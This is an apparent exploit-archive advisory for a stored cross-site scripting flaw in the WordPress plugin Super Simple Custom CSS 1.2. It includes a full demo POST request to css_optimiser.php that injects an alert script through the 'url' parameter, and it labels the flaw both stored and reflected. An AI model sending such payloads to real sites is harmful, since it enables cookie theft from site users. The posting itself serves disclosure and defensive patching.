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WordPress Super Simple Custom CSS 1.2 Cross Site Scripting

WordPress Super Simple Custom CSS 1.2 Cross Site Scripting
Posted Dec 5, 2017
Authored by Ricardo Sanchez

WordPress Super Simple Custom CSS plugin version 1.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 91009decf866411ea09c3d6b5295a4c1

WordPress Super Simple Custom CSS 1.2 Cross Site Scripting

Change Mirror Download
Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Super Simple Custom CSS 1.2

Super Simple Custom CSS is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:


Demo Request POST:

POST
/wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php
HTTP/1.1
Host: localhost
Content-Length: 167
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
http://localhost//wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php?template=asdsad
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close

css_text=&url=
</script>"><script>alert("XSS")</script>&template=2&custom=&preserve_css=on&compress_c=on&compress_fw=on&case_properties=1&rbs=on&css_level=CSS2.1&post=

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